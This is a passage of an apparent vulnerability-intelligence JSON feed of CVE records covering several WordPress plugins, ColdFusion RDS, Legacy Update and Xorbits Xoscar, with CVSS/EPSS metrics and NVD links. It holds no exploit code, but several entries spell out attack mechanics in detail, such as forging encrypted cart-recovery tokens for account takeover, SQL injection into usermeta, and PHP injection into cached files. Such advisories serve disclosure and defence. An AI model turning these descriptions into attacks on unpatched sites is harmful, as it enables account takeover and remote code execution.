the 'width (and height)' parameter parameter. This is due to missing authentication, capability checks, and nonce verification on the standalone admin.php endpoint, combined with unsanitized injection of POST parameters directly into generated PHP source written to an included file. This makes it possible for unauthenticated attackers to execute code on the server. This is possible because admin.php does not load WordPress and carries no ABSPATH guard, making it a fully unauthenticated entry point regardless of the decorative capability arguments registered via the plugin's simulated menu API.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:12.563Z","updatedAt":"2026-10-15T17:17:11.907Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104800","asOf":"2026-10-15T17:17:11.907Z"},"epss":{"probability":0.01031,"percentile":0.63486,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104800&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104800","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104800","type":"primary","publishedAt":"2026-10-14T04:18:12.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104800&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104800, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97668","cveId":"CVE-2026-97668","aliases":[],"kind":"vulnerability","title":"The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the guest cart persistent meta_value in all versions up to, and including, 10.8.0...","summary":"The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the guest cart persistent meta_value in all versions up to, and including, 10.8.0 due to insufficient escaping on user supplied data and lack of sufficient preparation on the existing SQL query in the update_guest_persistent_cart() function. The abandoned_cart_info value, populated from attacker-controlled checkout fields such as the SMS consent field, is passed through stripslashes() and concatenated directly into an UPDATE statement while the adjacent SELECT and INSERT use prepared statements. This makes it possible for unauthenticated attackers to append additional SQL to the query. Because the sink is an UPDATE ... SET on the wp_usermeta table, the injection can both extract sensitive information from the database via time-based blind techniques and modify usermeta rows; it has been demonstrated to escalate an arbitrary account to administrator by writing a wp_capabilities row that shadows the legitimate one.","detail":"The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the guest cart persistent meta_value in all versions up to, and including, 10.8.0 due to insufficient escaping on user supplied data and lack of sufficient preparation on the existing SQL query in the update_guest_persistent_cart() function. The abandoned_cart_info value, populated from attacker-controlled checkout fields such as the SMS consent field, is passed through stripslashes() and concatenated directly into an UPDATE statement while the adjacent SELECT and INSERT use prepared statements. This makes it possible for unauthenticated attackers to append additional SQL to the query. Because the sink is an UPDATE ... SET on the wp_usermeta table, the injection can both extract sensitive information from the database via time-based blind techniques and modify usermeta rows; it has been demonstrated to escalate an arbitrary account to administrator by writing a wp_capabilities row that shadows the legitimate one.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T03:17:37.797Z","updatedAt":"2026-10-15T17:17:34.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97668","asOf":"2026-10-15T17:17:34.090Z"},"epss":{"probability":0.00445,"percentile":0.38389,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97668&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97668","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97668","type":"primary","publishedAt":"2026-10-14T03:17:37.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97668&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97668, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97657","cveId":"CVE-2026-97657","aliases":[],"kind":"vulnerability","title":"The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to Authentication Bypass via Malleable Encryption and Bypassable HMAC in all versions up to, and...","summary":"The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to Authentication Bypass via Malleable Encryption and Bypassable HMAC in all versions up to, and including, 10.8.0. This is due to the use of MAC-free AES-CTR encryption for cart-recovery link tokens — where the 8-byte CTR nonce is carried inside the ciphertext blob and the encryption key is looked up using the attacker-supplied `user_email` GET parameter — combined with an HMAC nonce check in `wcap_email_track_links()` that is only enforced when the `wcap_nonce` parameter is non-empty, allowing complete bypass by omission, and an insecure direct object reference on the decrypted `abandoned_id` with no ownership verification confirming the cart belongs to the email used for decryption. This makes it possible for unauthenticated attackers who possess a single legitimate cart-recovery link (obtained from their own reminder email) to recover the keystream, forge a ciphertext that decrypts to any victim's cart ID, and trigger a call to `wp_set_auth_cookie()` for the victim user — achieving full account takeover of any user who has ever abandoned a cart, including administrators. The auto-login feature defaults to enabled and is forced on during plugin upgrades, meaning all affected installations are exploitable without any additional configuration.","detail":"The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to Authentication Bypass via Malleable Encryption and Bypassable HMAC in all versions up to, and including, 10.8.0. This is due to the use of MAC-free AES-CTR encryption for cart-recovery link tokens — where the 8-byte CTR nonce is carried inside the ciphertext blob and the encryption key is looked up using the attacker-supplied `user_email` GET parameter — combined with an HMAC nonce check in `wcap_email_track_links()` that is only enforced when the `wcap_nonce` parameter is non-empty, allowing complete bypass by omission, and an insecure direct object reference on the decrypted `abandoned_id` with no ownership verification confirming the cart belongs to the email used for decryption. This makes it possible for unauthenticated attackers who possess a single legitimate cart-recovery link (obtained from their own reminder email) to recover the keystream, forge a ciphertext that decrypts to any victim's cart ID, and trigger a call to `wp_set_auth_cookie()` for the victim user — achieving full account takeover of any user who has ever abandoned a cart, including administrators. The auto-login feature defaults to enabled and is forced on during plugin upgrades, meaning all affected installations are exploitable without any additional configuration.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T03:17:37.657Z","updatedAt":"2026-10-14T19:17:23.393Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97657","asOf":"2026-10-14T19:17:23.393Z"},"epss":{"probability":0.0045,"percentile":0.38873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97657&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97657","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97657","type":"primary","publishedAt":"2026-10-14T03:17:37.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97657&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97657, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110002","cveId":"CVE-2026-110002","aliases":[],"kind":"vulnerability","title":"The Snazzy Social Media Feed plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.5 via the (file scope) function.","summary":"The Snazzy Social Media Feed plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.5 via the (file scope) function. This is due to missing WordPress bootstrap, authentication, capability, and nonce checks in the standalone save-to-cache.php script, combined with insufficient sanitization of the pluginURL parameter before it is written to a web-executable PHP file. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The save-to-cache.php script is directly reachable without loading WordPress; FILTER_SANITIZE_URL — the only filter applied to the pluginURL value — preserves the characters required to craft a valid PHP payload, which is then written verbatim into cached-content/cached-feed.php and immediately executable via a single GET request.","detail":"The Snazzy Social Media Feed plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.5 via the (file scope) function. This is due to missing WordPress bootstrap, authentication, capability, and nonce checks in the standalone save-to-cache.php script, combined with insufficient sanitization of the pluginURL parameter before it is written to a web-executable PHP file. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The save-to-cache.php script is directly reachable without loading WordPress; FILTER_SANITIZE_URL — the only filter applied to the pluginURL value — preserves the characters required to craft a valid PHP payload, which is then written verbatim into cached-content/cached-feed.php and immediately executable via a single GET request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T03:17:20.220Z","updatedAt":"2026-10-15T17:17:14.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110002","asOf":"2026-10-15T17:17:14.920Z"},"epss":{"probability":0.00948,"percentile":0.60939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110002&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110002","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110002","type":"primary","publishedAt":"2026-10-14T03:17:20.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110002&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110002, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93388","cveId":"CVE-2026-93388","aliases":[],"kind":"vulnerability","title":"The Printcart Store (PCDesigner / NB Designer) plugin for WooCommerce is vulnerable to unauthenticated arbitrary file upload leading to remote code execution in all versions up...","summary":"The Printcart Store (PCDesigner / NB Designer) plugin for WooCommerce is vulnerable to unauthenticated arbitrary file upload leading to remote code execution in all versions up to, and including, 2.9.1 The nbdesigner_copy_image_from_url AJAX action is registered for logged-out callers (wp_ajax_nopriv_), and its Google Drive branch rebuilds the destination filename from the raw, attacker-supplied gapi[name] parameter — bypassing the jpg/jpeg/png/gif allow-list applied on the other branch — and writes the fetched bytes to a web-accessible directory (wp-content/uploads/nbdesigner/temp/). This makes it possible for unauthenticated attackers to write a .php file to a web-served, PHP-executing location and, by supplying their own Google Drive file and OAuth token as the content source, execute arbitrary code on the server. The required save-design nonce is handed to anonymous callers by the nbd_check_use_logged_in endpoint, so it presents no barrier.","detail":"The Printcart Store (PCDesigner / NB Designer) plugin for WooCommerce is vulnerable to unauthenticated arbitrary file upload leading to remote code execution in all versions up to, and including, 2.9.1 The nbdesigner_copy_image_from_url AJAX action is registered for logged-out callers (wp_ajax_nopriv_), and its Google Drive branch rebuilds the destination filename from the raw, attacker-supplied gapi[name] parameter — bypassing the jpg/jpeg/png/gif allow-list applied on the other branch — and writes the fetched bytes to a web-accessible directory (wp-content/uploads/nbdesigner/temp/). This makes it possible for unauthenticated attackers to write a .php file to a web-served, PHP-executing location and, by supplying their own Google Drive file and OAuth token as the content source, execute arbitrary code on the server. The required save-design nonce is handed to anonymous callers by the nbd_check_use_logged_in endpoint, so it presents no barrier.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T02:17:01.720Z","updatedAt":"2026-10-14T18:19:35.843Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93388","asOf":"2026-10-14T18:19:35.843Z"},"epss":{"probability":0.00854,"percentile":0.58024,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93388&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93388","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93388","type":"primary","publishedAt":"2026-10-14T02:17:01.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93388&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93388, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92097","cveId":"CVE-2026-92097","aliases":[],"kind":"vulnerability","title":"The Click to Chat for WhatsApp plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 4.44 This is due to the greetings_dialog()...","summary":"The Click to Chat for WhatsApp plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 4.44 This is due to the greetings_dialog() function building the {url} template placeholder from a sanitize_text_field()-filtered $_SERVER['REQUEST_URI'] on archive pages and then passing the substituted greeting content to do_shortcode() in the greetings-1 and greetings-2 templates, without stripping shortcode delimiters. Because wp_kses() runs against main_content BEFORE the {url} substitution, the attacker-controlled URL bytes reach do_shortcode() unfiltered. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes registered by WordPress core, the active theme, or any other plugin (e.","detail":"The Click to Chat for WhatsApp plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to, and including, 4.44 This is due to the greetings_dialog() function building the {url} template placeholder from a sanitize_text_field()-filtered $_SERVER['REQUEST_URI'] on archive pages and then passing the substituted greeting content to do_shortcode() in the greetings-1 and greetings-2 templates, without stripping shortcode delimiters. Because wp_kses() runs against main_content BEFORE the {url} substitution, the attacker-controlled URL bytes reach do_shortcode() unfiltered. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes registered by WordPress core, the active theme, or any other plugin (e.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T02:17:01.397Z","updatedAt":"2026-10-15T17:17:29.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92097","asOf":"2026-10-15T17:17:29.893Z"},"epss":{"probability":0.00525,"percentile":0.4423,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92097&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92097","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92097","type":"primary","publishedAt":"2026-10-14T02:17:01.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92097&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92097, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110392","cveId":"CVE-2026-110392","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Samsung Open Source QA-Board allows : OS Command Injection.","summary":"Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Samsung Open Source QA-Board allows : OS Command Injection.","detail":"Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Samsung Open Source QA-Board allows : OS Command Injection.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T02:16:59.653Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110392","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.01243,"percentile":0.69017,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110392&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110392","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110392","type":"primary","publishedAt":"2026-10-14T02:16:59.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110392&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110392, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97381","cveId":"CVE-2026-97381","aliases":[],"kind":"vulnerability","title":"Legacy Update is a tool for activating and installing updates on legacy Windows PCs.","summary":"Legacy Update is a tool for activating and installing updates on legacy Windows PCs. Legacy Update 1.12.0 through 1.13.1 contains an origin validation error in the IsPermitted method of its ActiveX control. After successfully reading the hosting document's hostname, a hostname that is not on the permitted list falls through without setting E_ACCESSDENIED, causing IsPermitted to return S_OK. An attacker who induces a user to visit a malicious webpage in Internet Explorer can invoke the control to enumerate update and system information, install updates without consent, display dialogs, or restart the computer when a reboot is pending. This issue was fixed in Legacy Update 1.13.2.","detail":"Legacy Update is a tool for activating and installing updates on legacy Windows PCs. Legacy Update 1.12.0 through 1.13.1 contains an origin validation error in the IsPermitted method of its ActiveX control. After successfully reading the hosting document's hostname, a hostname that is not on the permitted list falls through without setting E_ACCESSDENIED, causing IsPermitted to return S_OK. An attacker who induces a user to visit a malicious webpage in Internet Explorer can invoke the control to enumerate update and system information, install updates without consent, display dialogs, or restart the computer when a reboot is pending. This issue was fixed in Legacy Update 1.13.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:19:45.427Z","updatedAt":"2026-10-17T02:19:04.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97381","asOf":"2026-10-17T02:19:04.007Z"},"epss":{"probability":0.00213,"percentile":0.11504,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97381&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97381","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97381","type":"primary","publishedAt":"2026-10-13T22:19:45.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97381&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97381, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90530","cveId":"CVE-2026-90530","aliases":[],"kind":"vulnerability","title":"ColdFusion RDS is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read.","summary":"ColdFusion RDS is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.\n\n\n\n\n\n\n\n\n\nRDS is purely a development feature meant for debugging purposes, and switching ColdFusion to Production Secure Profile automatically disables RDS. The Lockdown Guide outlines the specific step to disable RDS if a ColdFusion server is not being used in Production Secure Profile.","detail":"ColdFusion RDS is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.\n\n\n\n\n\n\n\n\n\nRDS is purely a development feature meant for debugging purposes, and switching ColdFusion to Production Secure Profile automatically disables RDS. The Lockdown Guide outlines the specific step to disable RDS if a ColdFusion server is not being used in Production Secure Profile.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:57.273Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90530","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.0034,"percentile":0.27163,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90530&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90530","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90530","type":"primary","publishedAt":"2026-10-13T21:19:57.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90530&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90530, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-49950","cveId":"CVE-2026-49950","aliases":[],"kind":"vulnerability","title":"Xorbits Xoscar through 0.11.2 contains an unauthenticated deserialization vulnerability that allows remote attackers to execute arbitrary code by sending crafted data over the...","summary":"Xorbits Xoscar through 0.11.2 contains an unauthenticated deserialization vulnerability that allows remote attackers to execute arbitrary code by sending crafted data over the actor-pool TCP channel. Attackers can exploit SocketChannel.recv() passing unvalidated data to cloudpickle.loads(), which triggers pickle __reduce__ gadget execution before message type validation, achieving remote code execution as the server process which commonly runs as root on GPU nodes.","detail":"Xorbits Xoscar through 0.11.2 contains an unauthenticated deserialization vulnerability that allows remote attackers to execute arbitrary code by sending crafted data over the actor-pool TCP channel. Attackers can exploit SocketChannel.recv() passing unvalidated data to cloudpickle.loads(), which triggers pickle __reduce__ gadget execution before message type validation, achieving remote code execution as the server process which commonly runs as root on GPU nodes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 